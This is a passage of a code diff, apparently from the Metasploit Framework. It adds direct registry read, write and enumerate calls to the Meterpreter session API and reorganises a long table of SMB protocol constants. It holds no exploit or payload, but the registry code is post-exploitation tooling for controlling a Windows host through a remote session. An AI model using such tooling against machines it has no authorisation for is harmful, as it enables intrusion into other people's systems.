open_key.query_value(valname) + v = session.sys.registry.query_value_direct(root_key, base_key, valname, perms) value = v.data - open_key.close rescue Rex::Post::Meterpreter::RequestError => e return nil end @@ -516,9 +510,8 @@ protected begin root_key, base_key = session.sys.registry.splitkey(key) perms = meterpreter_registry_perms(KEY_WRITE, view) - open_key = session.sys.registry.open_key(root_key, base_key, perms) - open_key.set_value(valname, session.sys.registry.type2str(type), data) - open_key.close + session.sys.registry.set_value_direct(root_key, base_key, + valname, session.sys.registry.type2str(type), data, perms) return true rescue Rex::Post::Meterpreter::RequestError => e return nil diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb index 2a9583ee55..4a451c9fe4 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb @@ -89,7 +89,6 @@ class Registry request.add_tlv(TLV_TYPE_TARGET_HOST, target_host) request.add_tlv(TLV_TYPE_ROOT_KEY, root_key) - response = client.send_request(request) return Rex::Post::Meterpreter::Extensions::Stdapi::Sys::RegistrySubsystem::RemoteRegistryKey.new( @@ -166,6 +165,24 @@ class Registry return keys end + def Registry.enum_key_direct(root_key, base_key, perm = KEY_READ) + request = Packet.create_request('stdapi_registry_enum_key_direct') + keys = [] + + request.add_tlv(TLV_TYPE_ROOT_KEY, root_key) + request.add_tlv(TLV_TYPE_BASE_KEY, base_key) + request.add_tlv(TLV_TYPE_PERMISSION, perm) + + response = client.send_request(request) + + # Enumerate through all of the registry keys + response.each(TLV_TYPE_KEY_NAME) do |key_name| + keys << key_name.value + end + + keys + end + ## # # Registry value interaction @@ -195,10 +212,55 @@ class Registry return true end + def Registry.set_value_direct(root_key, base_key, name, type, data, perm = KEY_WRITE) + request = Packet.create_request('stdapi_registry_set_value_direct') + + request.add_tlv(TLV_TYPE_ROOT_KEY, root_key) + request.add_tlv(TLV_TYPE_BASE_KEY, base_key) + request.add_tlv(TLV_TYPE_PERMISSION, perm) + request.add_tlv(TLV_TYPE_VALUE_NAME, name) + request.add_tlv(TLV_TYPE_VALUE_TYPE, type) + + if type == REG_SZ + data += "\x00" + elsif type == REG_DWORD + data = [data.to_i].pack('V') + end + + request.add_tlv(TLV_TYPE_VALUE_DATA, data) + + response = client.send_request(request) + + true + end + # # Queries the registry value supplied in name and returns an # initialized RegistryValue instance if a match is found. # + def Registry.query_value_direct(root_key, base_key, name, perm = KEY_READ) + request = Packet.create_request('stdapi_registry_query_value_direct') + + request.add_tlv(TLV_TYPE_ROOT_KEY, root_key) + request.add_tlv(TLV_TYPE_BASE_KEY, base_key) + request.add_tlv(TLV_TYPE_PERMISSION, perm) + request.add_tlv(TLV_TYPE_VALUE_NAME, name) + + response = client.send_request(request) + + type = response.get_tlv(TLV_TYPE_VALUE_TYPE).value + data = response.get_tlv(TLV_TYPE_VALUE_DATA).value + + if type == REG_SZ + data = data[0..-2] + elsif type == REG_DWORD + data = data.unpack('N')[0] + end + + Rex::Post::Meterpreter::Extensions::Stdapi::Sys::RegistrySubsystem::RegistryValue.new( + client, 0, name, type, data) + end + def Registry.query_value(hkey, name) request = Packet.create_request('stdapi_registry_query_value') @@ -207,8 +269,8 @@ class Registry response = client.send_request(request) - data = response.get_tlv(TLV_TYPE_VALUE_DATA).value; - type = response.get_tlv(TLV_TYPE_VALUE_TYPE).value; + data = response.get_tlv(TLV_TYPE_VALUE_DATA).value + type = response.get_tlv(TLV_TYPE_VALUE_TYPE).value if (type == REG_SZ) data = data[0..-2] @@ -272,6 +334,24 @@ class Registry return values end + def Registry.enum_value_direct(root_key, base_key, perm = KEY_READ) + request = Packet.create_request('stdapi_registry_enum_value_direct') + values = [] + + request.add_tlv(TLV_TYPE_ROOT_KEY, root_key) + request.add_tlv(TLV_TYPE_BASE_KEY, base_key) + request.add_tlv(TLV_TYPE_PERMISSION, perm) + + response = client.send_request(request) + + response.each(TLV_TYPE_VALUE_NAME) do |value_name| + values << Rex::Post::Meterpreter::Extensions::Stdapi::Sys::RegistrySubsystem::RegistryValue.new( + client, 0, value_name.value) + end + + values + end + # # Return the key value associated with the supplied string. This is useful # for converting HKLM as a string into its actual integer representation. diff --git a/lib/rex/proto/smb/constants.rb b/lib/rex/proto/smb/constants.rb index 8de82fd4dd..b58be1f50e 100644 --- a/lib/rex/proto/smb/constants.rb +++ b/lib/rex/proto/smb/constants.rb @@ -4,1058 +4,1399 @@ module Proto module SMB class Constants -require 'rex/struct2' + require 'rex/struct2' -# SMB Commands -SMB_COM_CREATE_DIRECTORY = 0x00 -SMB_COM_DELETE_DIRECTORY = 0x01 -SMB_COM_OPEN = 0x02 -SMB_COM_CREATE = 0x03 -SMB_COM_CLOSE = 0x04 -SMB_COM_FLUSH = 0x05 -SMB_COM_DELETE = 0x06 -SMB_COM_RENAME = 0x07 -SMB_COM_QUERY_INFORMATION = 0x08 -SMB_COM_SET_INFORMATION = 0x09 -SMB_COM_READ = 0x0a -SMB_COM_WRITE = 0x0b -SMB_COM_LOCK_BYTE_RANGE = 0x0c -SMB_COM_UNLOCK_BYTE_RANGE = 0x0d -SMB_COM_CREATE_TEMPORARY = 0x0e -SMB_COM_CREATE_NEW = 0x0f -SMB_COM_CHECK_DIRECTORY = 0x10 -SMB_COM_PROCESS_EXIT = 0x11 -SMB_COM_SEEK = 0x12 -SMB_COM_LOCK_AND_READ = 0x13 -SMB_COM_WRITE_AND_UNLOCK = 0x14 -SMB_COM_READ_RAW = 0x1a -SMB_COM_READ_MPX = 0x1b -SMB_COM_READ_MPX_SECONDARY = 0x1c -SMB_COM_WRITE_RAW = 0x1d -SMB_COM_WRITE_MPX = 0x1e -SMB_COM_WRITE_MPX_SECONDARY = 0x1f -SMB_COM_WRITE_COMPLETE = 0x20 -SMB_COM_QUERY_SERVER = 0x21 -SMB_COM_SET_INFORMATION2 = 0x22 -SMB_COM_QUERY_INFORMATION2 = 0x23 -SMB_COM_LOCKING_ANDX = 0x24 -SMB_COM_TRANSACTION = 0x25 -SMB_COM_TRANSACTION_SECONDARY = 0x26 -SMB_COM_IOCTL = 0x27 -SMB_COM_IOCTL_SECONDARY = 0x28 -SMB_COM_COPY = 0x29 -SMB_COM_MOVE = 0x2a -SMB_COM_ECHO = 0x2b -SMB_COM_WRITE_AND_CLOSE = 0x2c -SMB_COM_OPEN_ANDX = 0x2d -SMB_COM_READ_ANDX = 0x2e -SMB_COM_WRITE_ANDX = 0x2f -SMB_COM_NEW_FILE_SIZE = 0x30 -SMB_COM_CLOSE_AND_TREE_DISC = 0x31 -SMB_COM_TRANSACTION2 = 0x32 -SMB_COM_TRANSACTION2_SECONDARY = 0x33 -SMB_COM_FIND_CLOSE2 = 0x34 -SMB_COM_FIND_NOTIFY_CLOSE = 0x35 -SMB_COM_TREE_CONNECT = 0x70 -SMB_COM_TREE_DISCONNECT = 0x71 -SMB_COM_NEGOTIATE = 0x72 -SMB_COM_SESSION_SETUP_ANDX = 0x73 -SMB_COM_LOGOFF_ANDX = 0x74 -SMB_COM_TREE_CONNECT_ANDX = 0x75 -SMB_COM_QUERY_INFORMATION_DISK = 0x80 -SMB_COM_SEARCH = 0x81 -SMB_COM_FIND = 0x82 -SMB_COM_FIND_UNIQUE = 0x83 -SMB_COM_FIND_CLOSE = 0x84 -SMB_COM_NT_TRANSACT = 0xa0 -SMB_COM_NT_TRANSACT_SECONDARY = 0xa1 -SMB_COM_NT_CREATE_ANDX = 0xa2 -SMB_COM_NT_CANCEL = 0xa4 -SMB_COM_NT_RENAME = 0xa5 -SMB_COM_OPEN_PRINT_FILE = 0xc0 -SMB_COM_WRITE_PRINT_FILE = 0xc1 -SMB_COM_CLOSE_PRINT_FILE = 0xc2 -SMB_COM_GET_PRINT_QUEUE = 0xc3 -SMB_COM_READ_BULK = 0xd8 -SMB_COM_WRITE_BULK = 0xd9 -SMB_COM_NO_ANDX_COMMAND = 0xff + # SMB Commands + SMB_COM_CREATE_DIRECTORY = 0x00 + SMB_COM_DELETE_DIRECTORY = 0x01 + SMB_COM_OPEN = 0x02 + SMB_COM_CREATE = 0x03 + SMB_COM_CLOSE = 0x04 + SMB_COM_FLUSH = 0x05 + SMB_COM_DELETE = 0x06 + SMB_COM_RENAME = 0x07 + SMB_COM_QUERY_INFORMATION = 0x08 + SMB_COM_SET_INFORMATION = 0x09 + SMB_COM_READ = 0x0a + SMB_COM_WRITE = 0x0b + SMB_COM_LOCK_BYTE_RANGE = 0x0c + SMB_COM_UNLOCK_BYTE_RANGE = 0x0d + SMB_COM_CREATE_TEMPORARY = 0x0e + SMB_COM_CREATE_NEW = 0x0f + SMB_COM_CHECK_DIRECTORY = 0x10 + SMB_COM_PROCESS_EXIT = 0x11 + SMB_COM_SEEK = 0x12 + SMB_COM_LOCK_AND_READ = 0x13 + SMB_COM_WRITE_AND_UNLOCK = 0x14 + SMB_COM_READ_RAW = 0x1a + SMB_COM_READ_MPX = 0x1b + SMB_COM_READ_MPX_SECONDARY = 0x1c + SMB_COM_WRITE_RAW = 0x1d + SMB_COM_WRITE_MPX = 0x1e + SMB_COM_WRITE_MPX_SECONDARY = 0x1f + SMB_COM_WRITE_COMPLETE = 0x20 + SMB_COM_QUERY_SERVER = 0x21 + SMB_COM_SET_INFORMATION2 = 0x22 + SMB_COM_QUERY_INFORMATION2 = 0x23 + SMB_COM_LOCKING_ANDX = 0x24 + SMB_COM_TRANSACTION = 0x25 + SMB_COM_TRANSACTION_SECONDARY = 0x26 + SMB_COM_IOCTL = 0x27 + SMB_COM_IOCTL_SECONDARY = 0x28 + SMB_COM_COPY = 0x29 + SMB_COM_MOVE = 0x2a + SMB_COM_ECHO = 0x2b + SMB_COM_WRITE_AND_CLOSE = 0x2c + SMB_COM_OPEN_ANDX = 0x2d + SMB_COM_READ_ANDX = 0x2e + SMB_COM_WRITE_ANDX = 0x2f + SMB_COM_NEW_FILE_SIZE = 0x30 + SMB_COM_CLOSE_AND_TREE_DISC = 0x31 + SMB_COM_TRANSACTION2 = 0x32 + SMB_COM_TRANSACTION2_SECONDARY = 0x33 + SMB_COM_FIND_CLOSE2 = 0x34 + SMB_COM_FIND_NOTIFY_CLOSE = 0x35 + SMB_COM_TREE_CONNECT = 0x70 + SMB_COM_TREE_DISCONNECT = 0x71 + SMB_COM_NEGOTIATE = 0x72 + SMB_COM_SESSION_SETUP_ANDX = 0x73 + SMB_COM_LOGOFF_ANDX = 0x74 + SMB_COM_TREE_CONNECT_ANDX = 0x75 + SMB_COM_QUERY_INFORMATION_DISK = 0x80 + SMB_COM_SEARCH = 0x81 + SMB_COM_FIND = 0x82 + SMB_COM_FIND_UNIQUE = 0x83 + SMB_COM_FIND_CLOSE = 0x84 + SMB_COM_NT_TRANSACT = 0xa0 + SMB_COM_NT_TRANSACT_SECONDARY = 0xa1 + SMB_COM_NT_CREATE_ANDX = 0xa2 + SMB_COM_NT_CANCEL = 0xa4 + SMB_COM_NT_RENAME = 0xa5 + SMB_COM_OPEN_PRINT_FILE = 0xc0 + SMB_COM_WRITE_PRINT_FILE = 0xc1 + SMB_COM_CLOSE_PRINT_FILE = 0xc2 + SMB_COM_GET_PRINT_QUEUE = 0xc3 + SMB_COM_READ_BULK = 0xd8 + SMB_COM_WRITE_BULK = 0xd9 + SMB_COM_NO_ANDX_COMMAND = 0xff -# SMB Version 2 Commands -SMB2_OP_NEGPROT = 0x00 -SMB2_OP_SESSSETUP = 0x01 -SMB2_OP_LOGOFF = 0x02 -SMB2_OP_TCON = 0x03 -SMB2_OP_TDIS = 0x04 -SMB2_OP_CREATE = 0x05 -SMB2_OP_CLOSE = 0x06 -SMB2_OP_FLUSH = 0x07 -SMB2_OP_READ = 0x08 -SMB2_OP_WRITE = 0x09 -SMB2_OP_LOCK = 0x0a -SMB2_OP_IOCTL = 0x0b -SMB2_OP_CANCEL = 0x0c -SMB2_OP_KEEPALIVE = 0x0d -SMB2_OP_FIND = 0x0e -SMB2_OP_NOTIFY = 0x0f -SMB2_OP_GETINFO = 0x10 -SMB2_OP_SETINFO = 0x11 -SMB2_OP_BREAK = 0x12 + # SMB Version 2 Commands + SMB2_OP_NEGPROT = 0x00 + SMB2_OP_SESSSETUP = 0x01 + SMB2_OP_LOGOFF = 0x02 + SMB2_OP_TCON = 0x03 + SMB2_OP_TDIS = 0x04 + SMB2_OP_CREATE = 0x05 + SMB2_OP_CLOSE = 0x06 + SMB2_OP_FLUSH = 0x07 + SMB2_OP_READ = 0x08 + SMB2_OP_WRITE = 0x09 + SMB2_OP_LOCK = 0x0a + SMB2_OP_IOCTL = 0x0b + SMB2_OP_CANCEL = 0x0c + SMB2_OP_KEEPALIVE = 0x0d + SMB2_OP_FIND = 0x0e + SMB2_OP_NOTIFY = 0x0f + SMB2_OP_GETINFO = 0x10 + SMB2_OP_SETINFO = 0x11 + SMB2_OP_BREAK = 0x12 -# SMB_COM_NT_TRANSACT Subcommands -NT_TRANSACT_CREATE = 1 # File open/create -NT_TRANSACT_IOCTL = 2 # Device IOCTL -NT_TRANSACT_SET_SECURITY_DESC = 3 # Set security descriptor -NT_TRANSACT_NOTIFY_CHANGE = 4 # Start directory watch -NT_TRANSACT_RENAME = 5 # Reserved (Handle-based) -NT_TRANSACT_QUERY_SECURITY_DESC = 6 # Retrieve security -NT_TRANSACT_GET_USER_QUOTA = 7 # Get quota -NT_TRANSACT_SET_USER_QUOTA = 8 # Set quota + # SMB_COM_NT_TRANSACT Subcommands + NT_TRANSACT_CREATE = 1 # File open/create + NT_TRANSACT_IOCTL = 2 # Device IOCTL + NT_TRANSACT_SET_SECURITY_DESC = 3 # Set security descriptor + NT_TRANSACT_NOTIFY_CHANGE = 4 # Start directory watch + NT_TRANSACT_RENAME = 5 # Reserved (Handle-based) + NT_TRANSACT_QUERY_SECURITY_DESC = 6 # Retrieve security + NT_TRANSACT_GET_USER_QUOTA = 7 # Get quota + NT_TRANSACT_SET_USER_QUOTA = 8 # Set quota -# Open Modes -OPEN_MODE_CREAT = 0x10 # Create the file if file does not exists. Otherwise, operation fails. -OPEN_MODE_EXCL = 0x00 # When used with SMB_O_CREAT, operation fails if file exists. Cannot be used with SMB_O_OPEN. -OPEN_MODE_OPEN = 0x01 # Open the file if the file exists -OPEN_MODE_TRUNC = 0x02 # Truncate the file if the file exists + # NT Flags bits - cifs6.txt section 3.1.1 + FLAGS_REQ_RES = 0x80 + FLAGS_NOTIFY = 0x40 + FLAGS_OP_LOCKS = 0x20 + FLAGS_PATH_NORMALIZED = 0x10 + FLAGS_CASE_SENSITIVE = 0x8 + FLAGS_RESERVED = 0x4 + FLAGS_POSTED = 0x2 + FLAGS_LOCK_SUPPORT = 0x1 -# Shared Access -OPEN_SHARE_COMPAT = 0x00 -OPEN_SHARE_DENY_EXCL = 0x10 -OPEN_SHARE_DENY_WRITE = 0x20 -OPEN_SHARE_DENY_READEXEC = 0x30 -OPEN_SHARE_DENY_NONE = 0x40 + # NT Flags2 bits - cifs6.txt section 3.1.2 + FLAGS2_LONG_PATH_COMPONENTS = 0x0001 + FLAGS2_EXTENDED_ATTRIBUTES = 0x0002 + FLAGS2_SMB_SECURITY_SIGNATURES = 0x0004 + FLAGS2_SMB_SECURITY_SIGNATURES_REQUIRED = 0x0010 + FLAGS2_IS_LONG_NAME = 0x0040 + FLAGS2_EXTENDED_SECURITY = 0x0800 + FLAGS2_DFS_PATHNAMES = 0x1000 + FLAGS2_READ_PERMIT_EXECUTE = 0x2000 + FLAGS2_32_BIT_ERROR_CODES = 0x4000 + FLAGS2_UNICODE_STRINGS = 0x8000 + FLAGS2_WIN2K_SIGNATURE = 0xC852 + # SMB Negotiate Security Modes + NEG_SECURITY_SHARE = 1 + NEG_SECURITY_PASSWORD = 2 -# File Access -OPEN_ACCESS_READ = 0x00 -OPEN_ACCESS_WRITE = 0x01 -OPEN_ACCESS_READWRITE = 0x02 -OPEN_ACCESS_EXEC = 0x03 + # SMB Setup Actions + SMB_SETUP_GUEST = 1 + SMB_SETUP_USE_LANMAN_KEY = 2 -# Create Disposition -CREATE_ACCESS_SUPERSEDE = 0x00 # Replace any previously existing file -CREATE_ACCESS_EXIST = 0x01 # Open existing file and fail if it does not exist -CREATE_ACCESS_CREATE = 0x02 # Create the file, fail if it already exists -CREATE_ACCESS_OPENCREATE = 0x03 # Open existing file or create it if it does not exist -CREATE_ACCESS_OVEREXIST = 0x04 # Overwrite existing file and fail if it does not exist -CREATE_ACCESS_OVERCREATE = 0x05 # Overwrite existing file or create it if it does not exist + # SMB Negotiate Capabilities + # The server supports SMB_COM_READ_RAW and SMB_COM_WRITE_RAW + CAP_RAW_MODE = 0x0001 + # The server supports SMB_COM_READ_MPX and SMB_COM_WRITE_MPX + CAP_MPX_MODE = 0x0002 + # The server supports Unicode strings + CAP_UNICODE = 0x0004 + # The server supports large files with 64 bit offsets + CAP_LARGE_FILES = 0x0008 + # The server supports the SMBs particular to the NT LM 0.12 dialect + CAP_NT_SMBS = 0x0010 + # The sever supports remote API requests via RPC + CAP_RPC_REMOTE_APIS = 0x0020 + # The server can respond with 32 bit status codes in Status.Status + CAP_STATUS32 = 0x0040 + # The server supports level 2 oplocks + CAP_LEVEL_II_OPLOCKS = 0x0080 + # The server supports the SMB_COM_LOCK_AND_READ SMB + CAP_LOCK_AND_READ = 0x0100 + CAP_NT_FIND = 0x0200 + # This server is DFS aware + CAP_DFS = 0x1000 + CAP_PASSTHRU = 0x2000 + CAP_LARGE_READX = 0x4000 + CAP_LARGE_WRITEX = 0x8000 + CAP_UNIX_EXTENSIONS = 0x800000 + # Open Modes + OPEN_MODE_CREAT = 0x10 # Create the file if file does not exists. Otherwise, operation fails. + OPEN_MODE_EXCL = 0x00 # When used with SMB_O_CREAT, operation fails if file exists. Cannot be used with SMB_O_OPEN. + OPEN_MODE_OPEN = 0x01 # Open the file if the file exists + OPEN_MODE_TRUNC = 0x02 # Truncate the file if the file exists -# Wildcard NetBIOS name -NETBIOS_REDIR = 'CACACACACACACACACACACACACACACAAA' + # Shared Access + OPEN_SHARE_COMPAT = 0x00 + OPEN_SHARE_DENY_EXCL = 0x10 + OPEN_SHARE_DENY_WRITE = 0x20 + OPEN_SHARE_DENY_READEXEC = 0x30 + OPEN_SHARE_DENY_NONE = 0x40 + + # OpLock Levels + NO_OPLOCK = 0x00 + EXCLUSIVE_OPLOCK = 0x01 + BATCH_OPLOCK = 0x02 + LEVEL_II_OPLOCK = 0x03 + + # Dispositions, action to take if the file already exists or if the file is a new file and does not already exist + FILE_SUPERSEDE = 0x00000000 + FILE_OPEN = 0x00000001 + FILE_CREATE = 0x00000002 + FILE_OPEN_IF = 0x00000003 + FILE_OVERWRITE = 0x00000004 + FILE_OVERWRITE_IF = 0x00000005 + + # File Access + OPEN_ACCESS_READ = 0x00 + OPEN_ACCESS_WRITE = 0x01 + OPEN_ACCESS_READWRITE = 0x02 + OPEN_ACCESS_EXEC = 0x03 + + # Create Disposition + CREATE_ACCESS_SUPERSEDE = 0x00 # Replace any previously existing file + CREATE_ACCESS_EXIST = 0x01 # Open existing file and fail if it does not exist + CREATE_ACCESS_CREATE = 0x02 # Create the file, fail if it already exists + CREATE_ACCESS_OPENCREATE = 0x03 # Open existing file or create it if it does not exist + CREATE_ACCESS_OVEREXIST = 0x04 # Overwrite existing file and fail if it does not exist + CREATE_ACCESS_OVERCREATE = 0x05 # Overwrite existing file or create it if it does not exist + + # Access Rights + SMB_READ_ACCESS = 1 + SMB_WRITE_ACCESS = 2 + SMB_APPEND_ACCESS = 4 + SMB_READ_EA_ACCESS = 8 + SMB_WRITE_EA_ACCESS = 0x10 + SMB_EXECUTE_ACCESS = 0x20 + SMB_DELETE_CHILD_ACCESS = 0x40 + SMB_READ_ATTRIBUTES_ACCESS = 0x80 + SMB_WRITE_ATTRIBUTES_ACCESS = 0x100 + SMB_DELETE_ACCESS = 0x10000 + SMB_READ_CONTROL_ACCESS = 0x20000 + SMB_WRITE_DAC_ACCESS = 0x40000 + SMB_WRITE_OWNER_ACCESS = 0x80000 + SMB_SYNC_ACCESS = 0x100000 + + # Wildcard NetBIOS name + NETBIOS_REDIR = 'CACACACACACACACACACACACACACACAAA' - # 0 = open2 - # 1 = find_first - # 2 = find_next - # 3 = query_fs_info - # 4 = set_fs_quota - # 5 = query_path_info - # 6 = set_path_info - # 7 = query_file_info - # 8 = set_file_info - # 9 = fsctl - # 10 = ioctl2 - # 11 = find_notify_first - # 12 = find_notify_next - # 13 = create_directory - # 14 = session_setup + # 0 = open2 + # 1 = find_first + # 2 = find_next + # 3 = query_fs_info + # 4 = set_fs_quota + # 5 = query_path_info + # 6 = set_path_info + # 7 = query_file_info + # 8 = set_file_info + # 9 = fsctl + # 10 = ioctl2 + # 11 = find_notify_first + # 12 = find_notify_next + # 13 = create_directory + # 14 = session_setup + + # SMB_COM_TRANSACTION2 SubCommands + TRANS2_OPEN2 = 0 + TRANS2_FIND_FIRST2 = 1 + TRANS2_FIND_NEXT2 = 2 + TRANS2_QUERY_FS_INFO = 3 + TRANS2_SET_FS_INFO = 4 + TRANS2_QUERY_PATH_INFO = 5 + TRANS2_SET_PATH_INFO = 6 + TRANS2_QUERY_FILE_INFO = 7 + TRANS2_SET_FILE_INFO = 8 + TRANS2_FSCTL = 9 + TRANS2_IOCTL2 = 10 + TRANS2_FIND_NOTIFY_FIRST = 11 + TRANS2_FIND_NOTIFY_NEXT = 12 + TRANS2_CREATE_DIRECTORY = 13 + TRANS2_SESSION_SETUP = 14 + TRANS2_GET_DFS_REFERRAL = 16 + TRANS2_REPORT_DFS_INCONSISTENCY = 17 + + # SMB_COM_TRANSACTION2 QUERY_FS_INFO information levels + SMB_INFO_ALLOCATION = 1 + SMB_INFO_VOLUME = 2 + SMB_QUERY_FS_VOLUME_INFO = 0x102 + SMB_QUERY_FS_SIZE_INFO = 0x103 + SMB_QUERY_FS_DEVICE_INFO = 0x104 + SMB_QUERY_FS_ATTRIBUTE_INFO = 0x105 + + # SMB_COM_TRANSACTION2 QUERY_PATH_INFO information levels + SMB_INFO_STANDARD = 1 + SMB_INFO_QUERY_EA_SIZE = 2 + SMB_INFO_QUERY_EAS_FROM_LIST = 3 + SMB_INFO_QUERY_ALL_EAS = 4 + SMB_INFO_IS_NAME_VALID = 6 + SMB_QUERY_FILE_BASIC_INFO = 0x101 + SMB_QUERY_FILE_STANDARD_INFO = 0x102 + SMB_QUERY_FILE_EA_INFO = 0x103 + SMB_QUERY_FILE_NAME_INFO = 0x104 + SMB_QUERY_FILE_ALL_INFO = 0x107 + SMB_QUERY_FILE_ALT_NAME_INFO = 0x108 + SMB_QUERY_FILE_STREAM_INFO = 0x109 + SMB_QUERY_FILE_COMPRESSION_INFO = 0x10B + SMB_QUERY_FILE_UNIX_BASIC = 0x200 + SMB_QUERY_FILE_UNIX_LINK = 0x201 + SMB_QUERY_FILE_BASIC_INFO_ALIAS = 0x3EC # alias for 0x101 + SMB_SET_FILE_BASIC_INFO_ALIAS = 0x3EC # alias for 0x101 + SMB_QUERY_FILE_STANDARD_INFO_ALIAS = 0x3ED # alias for 0x102 + SMB_QUERY_FILE_INTERNAL_INFO_ALIAS = 0x3EE # alias for 0x103 + SMB_QUERY_FILE_EA_INFO_ALIAS = 0x3EF # alias for 0x103 + SMB_QUERY_FILE_NAME_INFO_ALIAS = 0x3F1 # alias for 0x104 + SMB_QUERY_FILE_NETWORK_OPEN_INFO = 0x40A + SMB_INFO_PASSTHROUGH = 0x1000 + + # SMB_COM_TRANSACTION2 MAX DATA COUNT information levels + SMB_QUERY_BASIC_MDC = 0x0028 + SMB_QUERY_STANDARD_MDC1 = 0x0018 + SMB_QUERY_STANDARD_MDC2 = 0x0102 + SMB_QUERY_FILE_INTERNAL_INFO_MDC = 0x0008 + SMB_QUERY_FILE_NETWORK_INFO_MDC = 0x0038 + + # SMB_COM_TRANS2 FIND_FIRST information levels + SMB_FIND_FILE_DIRECTORY_INFO = 0x101 + SMB_FIND_FILE_FULL_DIRECTORY_INFO = 0x102 + SMB_FIND_FILE_NAMES_INFO = 0x103 + SMB_FIND_FILE_BOTH_DIRECTORY_INFO = 0x104 + SMB_FIND_ID_FULL_DIRECTORY_INFO = 0x105 + SMB_FIND_ID_BOTH_DIRECTORY_INFO = 0x106 + + # Device Types + FILE_DEVICE_BEEP = 0x00000001 + FILE_DEVICE_CD_ROM = 0x00000002 + FILE_DEVICE_CD_ROM_FILE_SYSTEM = 0x00000003 + FILE_DEVICE_CONTROLLER = 0x00000004 + FILE_DEVICE_DATALINK = 0x00000005 + FILE_DEVICE_DFS = 0x00000006 + FILE_DEVICE_DISK = 0x00000007 + FILE_DEVICE_DISK_FILE_SYSTEM = 0x00000008 + FILE_DEVICE_FILE_SYSTEM = 0x00000009 + FILE_DEVICE_INPORT_PORT = 0x0000000A + FILE_DEVICE_KEYBOARD = 0x0000000B + FILE_DEVICE_MAILSLOT = 0x0000000C + FILE_DEVICE_MIDI_IN = 0x0000000D + FILE_DEVICE_MIDI_OUT = 0x0000000E + FILE_DEVICE_MOUSE = 0x0000000F + FILE_DEVICE_MULTI_UNC_PROVIDER = 0x00000010 + FILE_DEVICE_NAMED_PIPE = 0x00000011 + FILE_DEVICE_NETWORK = 0x00000012 + FILE_DEVICE_NETWORK_BROWSER = 0x00000013 + FILE_DEVICE_NETWORK_FILE_SYSTEM = 0x00000014 + FILE_DEVICE_NULL = 0x00000015 + FILE_DEVICE_PARALLEL_PORT = 0x00000016 + FILE_DEVICE_PHYSICAL_NETCARD = 0x00000017 + FILE_DEVICE_PRINTER = 0x00000018 + FILE_DEVICE_SCANNER = 0x00000019 + FILE_DEVICE_SERIAL_MOUSE_PORT = 0x0000001A + FILE_DEVICE_SERIAL_PORT = 0x0000001B + FILE_DEVICE_SCREEN = 0x0000001C + FILE_DEVICE_SOUND = 0x0000001D + FILE_DEVICE_STREAMS = 0x0000001E + FILE_DEVICE_TAPE = 0x0000001F + FILE_DEVICE_TAPE_FILE_SYSTEM = 0x00000020 + FILE_DEVICE_TRANSPORT = 0x00000021 + FILE_DEVICE_UNKNOWN = 0x00000022 + FILE_DEVICE_VIDEO = 0x00000023 + FILE_DEVICE_VIRTUAL_DISK = 0x00000024 + FILE_DEVICE_WAVE_IN = 0x00000025 + FILE_DEVICE_WAVE_OUT = 0x00000026 + FILE_DEVICE_8042_PORT = 0x00000027 + FILE_DEVICE_NETWORK_REDIRECTOR = 0x00000028 + FILE_DEVICE_BATTERY = 0x00000029 + FILE_DEVICE_BUS_EXTENDER = 0x0000002A + FILE_DEVICE_MODEM = 0x0000002B + FILE_DEVICE_VDM = 0x0000002C + + # File and Device Attributes + FILE_REMOVABLE_MEDIA = 0x00000001 + FILE_READ_ONLY_DEVICE = 0x00000002 + FILE_FLOPPY_DISKETTE = 0x00000004 + FILE_WRITE_ONE_MEDIA = 0x00000008 + FILE_REMOTE_DEVICE = 0x00000010 + FILE_DEVICE_IS_MOUNTED = 0x00000020 + FILE_VIRTUAL_VOLUME = 0x00000040 + FILE_CASE_SENSITIVE_SEARCH = 0x00000001 + FILE_CASE_PRESERVED_NAMES = 0x00000002 + FILE_PERSISTENT_ACLS = 0x00000004 + FILE_FILE_COMPRESSION = 0x00000008 + FILE_VOLUME_QUOTAS = 0x00000010 + FILE_VOLUME_IS_COMPRESSED = 0x00008000 + + # SMB_EXT_FILE_ATTR + # http://msdn.microsoft.com/en-us/library/ee878573(prot.20).aspx + SMB_EXT_FILE_ATTR_READONLY = 0x00000001 + SMB_EXT_FILE_ATTR_HIDDEN = 0x00000002 + SMB_EXT_FILE_ATTR_SYSTEM = 0x00000004 + SMB_EXT_FILE_ATTR_DIRECTORY = 0x00000010 + SMB_EXT_FILE_ATTR_ARCHIVE = 0x00000020 + SMB_EXT_FILE_ATTR_NORMAL = 0x00000080 + SMB_EXT_FILE_ATTR_TEMPORARY = 0x00000100 + SMB_EXT_FILE_ATTR_COMPRESSED = 0x00000800 + SMB_EXT_FILE_POSIX_SEMANTICS = 0x01000000 + SMB_EXT_FILE_BACKUP_SEMANTICS = 0x02000000 + SMB_EXT_FILE_DELETE_ON_CLOSE = 0x04000000 + SMB_EXT_FILE_SEQUENTIAL_SCAN = 0x08000000 + SMB_EXT_FILE_RANDOM_ACCESS = 0x10000000 + SMB_EXT_FILE_NO_BUFFERING = 0x20000000 + SMB_EXT_FILE_WRITE_THROUGH = 0x80000000 + + # SMB Error Codes + SMB_STATUS_SUCCESS = 0x00000000 + SMB_ERROR_BUFFER_OVERFLOW = 0x80000005 + SMB_STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016 + SMB_STATUS_ACCESS_DENIED = 0xC0000022 + SMB_STATUS_LOGON_FAILURE = 0xC000006D + SMB_STATUS_NO_SUCH_FILE = 0xC000000F + SMB_STATUS_OBJECT_NAME_NOT_FOUND = 0xc0000034 + SMB_NT_STATUS_NOT_FOUND = 0xc0000225 + + # SMB Resource types + SMB_RESOURCE_FILE_TYPE_DISK = 0x0000 + SMB_RESOURCE_FILE_TYPE_BYTE_MODE_PIPE = 0x0001 + SMB_RESOURCE_FILE_TYPE_MESSAGE_MODE_PIPE = 0x0002 + SMB_RESOURCE_FILE_TYPE_PRINTER = 0x0003 + SMB_RESOURCE_FILE_TYPE_COMM_DEVICE = 0x0004 + + # Word count values + SMB_NEGOTIATE_RES_WORD_COUNT = 0x11 + SMB_CLOSE_RES_WORD_COUNT = 0x00 + SMB_NT_CREATE_ANDX_RES_WORD_COUNT = 0x22 + SMB_READ_ANDX_RES_WORD_COUNT = 0x0c + SMB_TREE_CONN_ANDX_WORD_COUNT = 0x07 + SMB_SESSION_SETUP_ANDX_RES_WORD_COUNT = 0x03 + 